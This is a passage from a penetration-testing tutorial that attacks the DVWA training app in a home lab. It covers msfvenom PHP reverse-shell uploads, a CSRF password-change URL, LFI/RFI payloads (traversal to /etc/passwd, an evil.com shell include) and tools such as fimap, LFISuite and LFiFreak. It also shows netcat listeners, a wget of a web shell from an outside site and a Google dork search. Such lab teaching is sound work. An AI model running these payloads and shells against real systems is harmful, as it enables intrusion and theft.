 

 



f)	 Generating	 shells	 using	 Metasploit	 and
exploiting	DVWA	in	Kali-Linux	machine:
 
1. In this tutorial I am going to use the DVWA installed in Linux at IP address 

192.168.223.128. The DVWA link:  h�p://192.168.223.128/dvwa-linux and

the DVWA security set to low.

2. In this tutorial I am going to use Metaspolit tool. I will create a shell using

msf venom. To list the payloads in msf venom write the command:

# msfvenom -l payloads

The command will list the payloads that can be used in Windows or Linux

system,

3. I am going to generate php/meterpreter/reverse_tcp shell. I am going to 

set the payload to use  the listening IP as a�acker Linux IP address and

listening port 4444 with the name exploit.php in raw format:

# msfvenom -p php/meterpreter_reverse_tcp  lhost=192.168.223.128

lport=4444 -f raw > exploit.php

The php shell will be generated exploit.php.

LHOST refers to the IP of a�acker machine, which is usually used to create a

reverse connec�on a�er the a�ack succeeds. RHOST refers to the IP address

of the vic�m host.

4. Go the file upload page of DVWA h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/upload. Upload the generated file exploit.php. I got 

message that the file is uploaded in ../../hackable/uploads/exploit.php. The 

file link will  be:



h�p://192.168.223.128/dvwa-linux/hackable/uploads/exploit.php

Go to the that link to execute the shell.

5. Go to msf console and start listener

#msfconsole

msf > use mul�/handler

msf exploit(handler) > set payload php/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.223.128

msf exploit(handler) > set LPORT 4444

msf exploit(handler) > exploit

Go to the link h�p://192.168.223.128/dvwa-

linux/hackable/uploads/exploit.php to run the php shell and start the

meterpreter session.

Note: In my case that did not work. I could not iden�fy the reason.

 

 

http://192.168.223.128/dvwa-linux/hackable/uploads/exploit.php


g)	Installing	Metasploit	in	Windows:
 
1. Visit h�p://windows.metasploit.com/metasploi�ramework-latest.msi to

download the Windows installer.

2. A�er you download the installer, locate the file and double-click the

installer icon to start the installa�on process.

3. The Metasploit will be installed in local folder in a drive. It is installed in

my case in D: metasploit-framework folder. From command line, go to bin

folder inside the metasploit-framework folder. Run the command

msfconsole

4. I  am going to generate php/meterpreter/reverse_tcp shell from Kali-

Linux. I am going to set the payload to use  the listening IP as the a�acker 

windows machine IP  address and listening port 4444 with the name

exploit-win.php in raw format:

# msfvenom -p php/meterpreter_reverse_tcp  lhost=10.0.0.4  

lport=4444 -f raw > exploit-win.php

The php shell exploit-win.php will be generated.

5. Go the file upload page of DVWA h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/upload. Upload the generated file exploit-win.php. I got

message that the file is uploaded in ../../hackable/uploads/exploit2.php. Go

to the that link to execute the shell.

h�p://192.168.223.128/dvwa-linux/hackable/uploads/exploit-win.php

6. Go to msf console in Window machine and start listener

>msfconsole

http://windows.metasploit.com/metasploitframework-latest.msi
http://192.168.223.128/dvwa-linux/hackable/uploads/exploit-win.php


msf > use mul�/handler

msf exploit(handler) > set payload  php/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 10.0.0.4

msf exploit(handler) > set LPORT 4444

msf exploit(handler) > exploit

Go to the link h�p://192.168.223.128/dvwa-linux/hackable/uploads/exploit-

win.php to run the php shell and start the meterpreter session.

Note: In my case that did not work. I could not iden�fy the reason.

http://192.168.223.128/dvwa-linux/hackable/uploads/exploit-win.php


15. 	 EXPLOITING	 CROSS	 SITE	 REQUEST
FORGERY	(CSRF)	VULNERABILITY:
 

a)	Cross	Site	Request	Forgery	(CSRF)
de�inition:
1. CSRF is an attack that forces an end user to execute unwanted actions on
a web application in which they are currently authenticated. With a little
help of social engineering (such as sending a link via email/chat), an
attacker may force the users of a web application to execute actions of the
attacker's choosing. A successful CSRF exploit can compromise end user
data and operation in case of normal user. If the targeted end user is the
administrator account, this can compromise the entire web application. This
attack may also be called "XSRF", similar to "Cross Site scripting (XSS)",
and they are often used together.

2. Cross Site Request Forgery CSRF vulnerability allows malicious a�ackers

or hackers to cra� malicious URLs so it can perform certain ac�ons without

the user knowing of them. The a�acker cra�s malicious URL and sends it to

the vic�m and when the vic�m clicks it the password gets changes or

something like malicious is performed without knowing of them.

 



b)	Example	of	Cross	Site	Request	Forgery
(CSRF)	attack:
 
1. I will use DVWA installed in Windows in this example with link address

h�p://localhost/dvwa or h�p://10.0.0.4/dvwa

2.The password change page in DVWA app

h�p://localhost/dvwa/vulnerabili�es/csrf/. When the legi�mate user logs on

and performs password change request and in this request the user has to

enter new password and enters it again to confirm. The request is GET

request as the parameters are passed in URL parameter

h�p://10.0.0.4/dvwa/vulnerabili�es/csrf/?

password_new=test&password_conf=test&Change=Change#

3. We can get also the request from the BurpSuite by se�ng

“Proxy/Intercept” on.

4. The a�acker can cra� the URL and can encode the en�re URL with URL

encoding so that it becomes difficult for the users to iden�fy what it is

actually doing. We can also do URL shortening.

http://localhost/dvwa/vulnerabilities/csrf/


h�p://10.0.0.4/dvwa/vulnerabili�es/csrf/?

password_new=test&password_conf=test&Change=Change#

5. When we send the URL to vic�m, the password will be changed for the

vic�m without knowing of them. The password will be changed with the

hacker password.

 

http://10.0.0.4/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change


16. 	EXPLOITING	FILE	INCLUSION
VULNERABILITY:
 
a)	File	Inclusion	Vulnerability	de�inition:

 
1. Some web applica�ons allow the user to specify input that is used

directly into file streams or allows the user to upload files to the server. At a

later �me the web applica�on accesses the user supplied input in the web

applica�ons context. By doing this, the web applica�on is allowing the

poten�al for malicious file execu�on.

2. If the file chosen to be included is local on the target machine, it is called

"Local File Inclusion (LFI). But files may also be included on other machines,

which then the a�ack is a "Remote File Inclusion (RFI). When RFI is not an

op�on. using another vulnerability with LFI (such as file upload and

directory traversal) can o�en achieve the same effect. Note, the term "file

inclusion" is not the same as "arbitrary file access" or "file disclosure".

3. PHP File Inclusion is a security flaw in web applica�ons that allows

unauthorized users to access files, provide download func�onality, look for

informa�on, and so on. As defined by OWASP, the File Inclusion

vulnerability allows an a�acker to include a file, usually exploi�ng a

“dynamic file inclusion” mechanisms implemented in the target applica�on.

The vulnerability occurs due to the use of user-supplied input without

proper valida�on.

4. There are two PHP func�ons that website or web applica�on

programmers use to include the content of one PHP file into another PHP

file.

https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion


The include() func�on
The require() func�on

The difference between the “include” and the “require” func�ons is the way

each func�on responds when a file loading problem arises. The include()

func�on only gives a warning while allowing the script to con�nue, whereas

the require() func�on generates a fatal error and stops the script.

5. The main difference between an LFI and an RFI is the included file’s point

of origin. In an LFI a�ack, threat actors use a local file that is stored on the

target server to execute a malicious script. These types of a�acks can be

carried out by using only a web browser. In an RFI a�ack, they use a file

from an external source.

6. LFI is a web vulnerability that results from mistakes at the website or web

applica�on programmers’ end. A hacker can take advantage of this

vulnerability to include malicious files which are then executed by the

vulnerable website or web applica�on. In an LFI vulnerability, the included

file is already present on the local applica�on server, targeted by the hacker.

If successful, the a�acker can read important files, access more sensi�ve

informa�on, or run arbitrary commands.

7. In Local File Inclusion, perpetrators exploit vulnerable PHP programs to

access confiden�al data or run malicious scripts on the target server. This

can expose cri�cal data or allow threat actors to launch remote code

execu�on or Cross-site Scrip�ng (XSS) a�acks. LFI occurs when an

applica�on includes a file as user input without properly valida�ng it. This

allows an a�acker to include malicious files by manipula�ng the input.

Here’s an example of a vulnerable PHP code that could lead to LFI:

h�ps://example.com/?page=filename.php



Without proper input sani�zing, an a�acker could easily modify the input

(as shown below) to manipulate the applica�on into accessing unauthorized

files and directories from the host server using the “./” direc�ve. This is

known as Directory (Path) Traversal:

h�ps://example.com/?page=../../../../etc/test.txt

In this example, a hacker was able to successfully exploit the vulnerability by

simply replacing the “filename.php” with “../../../../etc/test.txt” in the path

URL to access the test file. If this can be accomplished, a hacker can then

backdoor upload a malicious script to the host server and use LFI to access

the script. A simplified version of the process would look something like

this:

8. OWASP defines Remote File Inclusion as the process of including remote

files by exploi�ng vulnerable inclusion procedures implemented in the

applica�on. This vulnerability occurs, for example, when a page receives, as



input, the path to the file that has to be included and this input is not

properly sani�zed, allowing the external URL to be injected. Since PHP

supports na�ve func�ons that allow users to include remote files, web

applica�ons wri�en in PHP code are more suscep�ble to RFI a�acks.

While RFI and LFI vulnerabili�es are similar, in an RFI a�ack, the perpetrator

can execute malicious code from an external source instead of accessing a

file on the local web server, as is the case with an LFI a�ack.

9. In Remote File Inclusion a�acks, hackers take advantage of the “dynamic

file include” command in web applica�ons to upload malicious external files

or scripts. When web applica�ons allow user input, such as URL, parameter

value, etc., and pass them to the “file include” mechanisms without proper

sani�za�on, perpetrators can manipulate the web applica�on to include

remote files with malicious scripts. Here is a simplified version of what

Remote File Inclusion looks like:



10. Basic LFI (null byte, double encoding and other tricks) :
h�p://example.com/index.php?page=etc/passwd

h�p://example.com/index.php?page=etc/passwd%00

h�p://example.com/index.php?page=./../etc/passwd

h�p://example.com/index.php?page=%252e%252e%252f

h�p://example.com/index.php?page=....//....//etc/passwd

Interes�ng files to check out :

/etc/issue

/etc/passwd

/etc/shadow

/etc/group



/etc/hosts

/etc/motd

/etc/mysql/my.cnf

/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the

 filedescriptor)

/proc/self/environ

/proc/version

/proc/cmdline

11. Basic RFI (null byte, double encoding and other tricks) :
h�p://example.com/index.php?page=h�p://evil.com/shell.txt

h�p://example.com/index.php?page=h�p://evil.com/shell.txt%00

h�p://example.com/index.php?

page=h�p:%252f%252fevil.com%252fshell.txt

 

 

 



b)	Manual	exploitation	of	Local	File	Inclusion:
 
1. File Inclusion Vulnerability allows the a�acker to include malicious files or

to include the local files of the web server to read their sensi�ve informa�on.

And this is might be as worse as remote code execu�on.

2. I am going to use the DVWA installed in Kali Linux in this tutorial with the

link address h�p://192.168.223.128/dvwa-linux. The  file inclusion page in

 BurpSuite h�p://192.168.223.128/dvwa/vulnerabili�es/fi/?

page=include.php takes file name from the user and this file is file will be

included in the PHP script. This  func�on called include func�on is used for

including a file. This func�on is used because it is easy to include mul�ple

files so that we don’t need to write the code mul�ple �mes.

3. To exploit LFI, if no sani�za�on or proper valida�on on the file name we

pass in the posi�on of include.php on the link 

 h�p://192.168.223.128/dvwa/vulnerabili�es/fi/?page=include.php, we may

be able to read the local files in the server or on the worst case we can make

the server hosts php script .

4. Two possibili�es: local file inclusions where the file to be included in the

local machine and remote file inclusion where the file to be included in the

remote machine.

5. The following link as example will show the file main page of the Apache

server

h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?
page=h�p://192.168.223.128

6. The following link will show /etc/passwd file

http://192.168.223.128/dvwa-linux
http://192.168.223.128/dvwa/vulnerabilities/fi/?page=include.php
http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=http://192.168.223.128


192.168.223.128/dvwa-linux/vulnerabili�es/fi/?page=/../../../../../etc/passwd

7. Here an example of a php shell and I saved it in the /var/www/html/

# cp /usr/share/webshells/php/php-reverse-shell.php  

/home/Hidaiavar/www/html/php-reverse-shell.php  

8. Edit the php-reverse-shell.php to point to the a�acker IP address which is

my Kali Linux machine: 192.168.223.128. And make change of the port. I 

used port 4444  

9. Now  access the php shell using the link



h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?

page=h�p://192.168.223.128/php-reverse-shell.php

10. Open the netcat listener to listen ap port 4444 in the a�acker computer

192.168.223.128

# nc -lvnp 4444  -    

The command shell will open. You can write your commands such as: pwd,

uname -a, id, whoami.

 

http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=http://192.168.223.128


c)	LFI	and	RFI	exploitation	through	BurpSuite	:
 
1. I am using in this tutorial the DVWA app installed in Windows at
localhost h�p://localhost/dvwa/ and the DVWA security set to low.

2. When scanning DVWA through BurpSuite. It does not detect the file

inclusion vulnerability. It detects only file path manipula�on in the path

/dvwa/vulnerabili�es/fi/ with informa�on severity.

3. We can exploit LFI and RFI using BurpSuite. Download LFI payloads and

from the net. We can get it from:

h�ps://raw.githubusercontent.com/emadshanab/LFI-Payload-

List/master/LFI%20payloads.txt

We go to the page h�p://192.168.223.128/dvwa-linux/fi and make BurpSuite

Proxy intercept is on and try to execute file1.php  to get the request

4. Send the request to the intruder. On the “Intruder/Posi�ons” sec�on, add

only a tag on the file1.php posi�on. Choose the a�ack type to be “Sniper”

a�ack.

https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/master/LFI%20payloads.txt


5. In the “Intruder/Payloads” and upload the LFI payload list. Start the a�ack.

6. Check the scan results. As example, this is the results of using /etc/passwd

as payload. You can know the effec�ve payloads from the length sec�on of

scan results.





d)	LFI	and	RFI	Exploitation	using	Fimap		tool:
 
1. fimap is a li�le python tool which can find, prepare, audit, exploit and even

google automa�cally for local and remote file inclusion bugs in webapps. fimap

should be something like sqlmap just for LFI/RFI bugs instead of SQL injec�on.

 

2. Download and install Fimap  from htps://github.com/kurobeats/fimap

# git clone h�ps://github.com/kurobeats/fimap.git

# cd fimap/src

 

3. fimap is Pyjton2 program, so make sure to select  Paython2 version as the 

default version when using the fimap tool:

#sudo update-alterna�ves --config python

4. Download and install the h�plib2 from h�ps://github.com/h�plib2/h�plib2

# git clone h�ps://github.com/h�plib2/h�plib2.git

5. Go to h�plib2 directory and install h�plib2 using the command

# setyp.py install

Then run python2 command and import h�plib2 and check if it is imported

successfully, and install any dependencies required as shown in the error

message.

  # python2

>> import h�plib2

6. Go to the folder fimap/src and run the “python fimap.py -h” command

# python2 fimap.py -h

http://sqlmap.sourceforge.net/


Here the op�ons of fimap as shown in the help menu.



 

7. We go to the page h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?

page=file1.php and make BurpSuite Proxy intercept is on and try to execute 

file1.php  to get the request



8. Run the command:

# python fimap.py -b --url="h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/fi/?page=file1.php" --

cookie='security=low;PHPSESSID=1upqibppgr5debk0nkj7lr7f'”

I got the following results

Then run the following commands to start new session where you can
find target and start some ac�on

# python fimap.py -b --url="h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/fi/?page=file1.php" --

cookie='PHPSESSID=1upqibppgr5debk0nkj7lr7f;security=low' -x

You get the following:



I chose 192.168.223.128 domain. Then I chose first vulnerable script
“URL: '/dvwa-linux/vulnerabili�es/fi/?page=file1.php'”

I chose the first a�ack type: “Spawn fimap shell”. I got the command
line interface to enter the shell commands. In the following screenshots
examples, I run:

# whoami

# pwd

# uname -a



9. To upload a shell such as mini.php shell:

Run the following commands to start new session where you can find
target and start some ac�on

# python fimap.py -b --url="h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/fi/?page=file1.php" --

cookie='PHPSESSID=1upqibppgr5debk0nkj7lr7f;security=low' -x

I chose 192.168.223.128 domain. Then I chose first vulnerable script
“URL: '/dvwa-linux/vulnerabili�es/fi/?page=file1.php'”
I chose the first a�ack type: “Spawn fimap shell”. I got the command
line interface to enter the shell commands. In the following example, I
run the following command to upload c99 shell:

# pwd

# wget  h�ps://r57.gen.tr/down/mini.zip

# unzip mini.zip

Go to the webpage: h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/fi/mini.php

https://r57.gen.tr/down/mini.zip
http://192.168.223.128/dvwa-linux/vulnerabilities/fi/mini.php


10. To make reverse shell:

Run the following commands to start new session where you can find
target and start some ac�on

# python fimap.py -b --url="h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/fi/?page=file1.php" --

cookie='PHPSESSID=1upqibppgr5debk0nkj7lr7f;security=low' -x

I chose 192.168.223.128 domain. Then I chose first vulnerable script
“URL: '/dvwa-linux/vulnerabili�es/fi/?page=file1.php'”
I chose the second a�ack type:“Spawn pentestmonkey's reverse shell”. I
selected the  a�acker “IP address to connect back to” to be my Linux
device IP: 192.168.223.128 and the Port number: 6666. Make your
netcat server ready and hit enter.



11. Open the command shell at the a�acker computer 192.168.223.128, run

the netcat listener command:

# nc -lvn -p 6666

The netcat command shell will open

12. You can get the LFI and RFI dorks collec�ons in many websites. Write the

following command:

# python fimap.py -g -q ‘inurl:/index.php?include=’

 



e)	LFI	and	RFI	Exploitation	using	LFISuite	tool:
1. LFI Suite is a totally automa�c tool able to scan and exploit Local File Inclusion

vulnerabili�es using many different methods of a�ack.

2. Download and install LFISuite  from htps://github.com/kurobeats/fimap

# git clone h�ps://github.com/D35m0nd142/LFISuite.git

3. LFISuite is Pyjton2 program, so make sure to select  Paython2 version as the 

default version when using the fimap tool:

#sudo update-alterna�ves --config python

 

4. We go to the page h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?

page=file1.php and make BurpSuite Proxy intercept is on and try to execute 

file1.php  to get the request

5. Go to the LFISuite folder  and run the script by typing “python lfisuite.py”

command

# python2 lfisuite.py

You get the following screen:



6. I chose 2 to run the Scanner. It requested the cookie. I entered the cookie I

obtained in the BurpSuite request:

'PHPSESSID=1upqibppgr5debk0nkj7lr7f;security=low'. Then it requested the

target URL, and I entered the vulnerable URL:”h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/fi/?page=file1.php”.



It will show the vulnerable links highlighted. Try the links to find the proper links

that will give system informa�on as not all the links will show the system

informa�on.

7. Go to the LFISuite folder  and run the script by typing “python lfisuite.py”

command

# python2 lfisuite.py

You get the following screen:



I chose 1 to run the Exploiter. It requested the cookie. I entered the
cookie I obtained in the BurpSuite request:
'PHPSESSID=1upqibppgr5debk0nkj7lr7f;security=low'. Then it requested
the target URL, and I entered the vulnerable
URL:”h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?
page=file1.php”.
I got the following output for the available injec�ons:      

I chose 7 for “data://” injec�on. Then I entered the 'data://' vulnerable
url

h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?page=file1.php

I got the command line interface to enter the shell commands. In the
following screenshots examples, I run as example:

# whoami

# pwd

# uname -a

http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=file1.php
http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=file1.php


Now let’s get a reverse shell by typing the command “reverseshell”. I 
selected the  a�acker “IP address to connect back to” to be my Linux 
device IP: 192.168.223.128 and the Port number: 6666. Then open the 
command shell at the a�acker computer 192.168.223.128, run the 
netcat listener command:

# nc -lvn -p 6666

The netcat command shell will open

Note: In my case that did not work. I could not iden�fy the reason.

8. In Auto-Hack modality, LFISuite will find LFI vulnerabili�es and will exploit

them. Go to the LFISuite folder  and run the script by typing “python lfisuite.py”

command

# python2 lfisuite.py

I chose 1 to run the Exploiter. It requested the cookie. I entered the
cookie I obtained in the BurpSuite request:
'PHPSESSID=1upqibppgr5debk0nkj7lr7f;security=low'. Then it requested
the target URL, and I entered the vulnerable
URL:”h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?
page=file1.php”.
I got the following output for the available injec�ons:      

http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=file1.php


I chose 9 for “Auto Hack” injec�on. Then I entered the url we want to
hack: h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?
page=file1.php

Then enter the name of the file containing the paths to test [default:

'pathtotest.txt']. I chose the default file.

The tool will do automa�c scan and also will open the shell command to

exploit the website.

 

http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=file1.php


f)	LFI	and	RFI	Exploitation	using	L�iScan	tool:
 
1. Download LfiScan from h�ps://github.com/halitAKAYDIN/LfiScan

# git clone h�ps://github.com/halitAKAYDIN/LfiScan.git

# cd LfiScan

# chmod +x lfiscan.sh

 

2. Examples of the usage of the LfiScan tool:

#./lfiscan.sh -h

#./lfiscan.sh -u "h�p://example.com/index.php?page="

#./lfiscan.sh -u "h�p://example.com/index.php?page=" -c

"PHPSESSID=;" -w wordlist.txt

#./lfiscan.sh -u "h�p://example.com/index.php?page=" -c

"PHPSESSID=;" -w wordlist.txt -t 5

3. We go to the page h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?

page=file1.php and make BurpSuite Proxy intercept is on and try to execute 

file1.php  to get the request

4. Run the LfiScan command

https://github.com/halitAKAYDIN/LfiScan.git


#./lfiscan.sh -u "h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?

page=" -c "PHPSESSID=oe82�093089mgumsb89r0n85; security=low" -

w linux.txt -t 3

The scan results in the report path: /tmp/lfiscan/192.168.223.128. The

payload list will be saved in the file /tmp/lfiscan/192.168.223.128_payload 

The payload list will be saved in the file

/tmp/lfiscan/192.168.223.128_payload 



 



g)	LFI	and	RFI	Exploitation	using	L�i-Scanner
tool:
 
1. Download Lfi-Scanner from h�ps://github.com/sUbc0ol/LFI-scanner

# git clone h�ps://github.com/sUbc0ol/LFI-scanner.git

# cd LFI-scanner

 

2. Run the LFI-scanner command

#python lfiscan.py --url= “h�p://192.168.223.128/dvwa-

linux/vulnerabili�es/fi/?page=”

3. I got no results.

http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=


 



h)	LFI	and	RFI	Exploitation	using	Kadimus	tool:
 
1. Kadimus is a tool to check sites to lfi vulnerability , and also exploit it

2. Installing Kadimus:

Installing libcurl:

# apt-get install libcurl4-openssl-dev

Installing libpcre:

# apt-get install libpcre3-dev

Installing libssh:

# apt-get install libssh-dev

‘And finally:

# git clone h�ps://github.com/P0cL4bs/Kadimus.git

#cd Kadimus

#make

3. The op�ons:

https://github.com/P0cL4bs/Kadimus.git


4. We go to the page h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?

page=file1.php and make BurpSuite Proxy intercept is on and try to execute 

file1.php  to get the request



Scanning:

#./kadimus --url=”h�p://192.168.223.128/dvwa-linux/vulnerabili�es/fi/?

page=” --cookie= " PHPSESSID=qouq69k452b11lor7qdpgi584r;

security=low" -A my_user_agent

Or,

#./kadimus -u "h�p://192.168.223.128/dvwa-
linux/vulnerabili�es/fi/?page=" -B "
PHPSESSID=qouq69k452b11lor7qdpgi584r; security=low " -A
my_user_agent

Note: The tool did not detect the vulnerability

4. Here examples of the usage of the tool

http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=


 



h)	LFI	and	RFI	Exploitation	using	LFiFreak	tool:
 

1. LFiFreak is a unique tool for exploi�ng local file inclusions using PHP Input,

PHP Filter and Data URI methods.

2. Download LFiFreak from h�ps://github.com/OsandaMalith/LFiFreak

# git clone h�ps://github.com/OsandaMalith/LFiFreak.git

Windows Binary:

h�p://www.mediafire.com/download/l07660857cqo9ur/LFI.exe

Linux Binary:

h�p://www.mediafire.com/download/1m3a188637v3avo/lfi

3. When installing in Kali Linux, install zblig1g and zblig1g-dev

# sudo apt install zlib1g

# sudo apt install zlib1g-dev

# sudo apt install lib64z1

4. In this tutorial I am using LFiFreak tool in windows. Run LFI file in

‘LFiFreak/Binaries/Windows’ folder

5. I am using the scan results for DVWA App installed in Windows on this

tutorial with the link address h�p://localhost/dvwa and the DVWA security

set to low.

We go to the page h�p://localhost/dvwa/vulnerabili�es/fi/?page=file1.php

and make BurpSuit Proxy intercept is on and try to execute file1.php  to get 

the request

https://github.com/OsandaMalith/LFiFreak
http://www.mediafire.com/download/1m3a188637v3avo/lfi
http://localhost/dvwa


6. Execute the file LFiFreak/Binaries/Windows/LFI

Enter the URL:

h�p://localhost/dvwa/vulnerabili�es/fi/?page=

Enter the Cookie

Cookie: PHPSESSID=rrpns2pc42vamijm3n5kacu2bu; security=low

Choose 1 for Automated tes�ng

Enter 1 for “PHP://input” exploit.
Enter 1 to “Execute command” op�on.



Execute the commands such as: ipconfig, dir.and any other
command

7. Another example, execute the file LFiFreak/Binaries/Windows/LFI

Enter the URL:

h�p://localhost/dvwa/vulnerabili�es/fi/?page=

Enter the Cookie

Cookie: PHPSESSID=rrpns2pc42vamijm3n5kacu2bu; security=low

Choose 1 for Automated tes�ng
Enter 1 for “PHP://input” exploit.
Enter 2 for “Reverse Shell” op�on. The program will request the
:LHOST IP and LPORT of the a�acker computer to generate the 
reverse shell.  I setup my local host as the a�acker computer with IP
address 192.168.223.128 and port 4444.
In the A�acker machine with IP address 19.168.223.128, listen to
port 4444 through the netcat command, the command terminal will
open:

http://localhost/dvwa/vulnerabilities/fi/?page=


8. Note: Reverse shell and Bind shell did not work with me and I could not 

iden�fy problem.  LFiFreak is not good as FIMAP and it could not detect

many vulnerabili�es in many cases and also it could not generate reverse

shell successfully in many cases.

 

 



17. 	REFERENCES:
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2. Damn Vulnerable Web App (DVWA), h�ps://github.com/digininja/DVWA

3. SQLMAP penetra�on tes�ng tool that automates the process of detec�ng

and exploi�ng SQL injec�on flaws, h�ps://sqlmap.org/

4. fimap  tool for exploi�ng Remote/Local File Inclusion vulnerability

 h�ps://github.com/kurobeats/fimap

5. Commix OS command injec�on exploiter, h�ps://commixproject.com.

6. Xsser. Cross Site Scripter to detect, exploit and report XSS vulnerabili�es,

h�ps://xsser.03c8.net/

7. LFiFreak is a unique tool for exploi�ng local file inclusions,  

 h�ps://github.com/OsandaMalith/LFiFreak

https://xsser.03c8.net/
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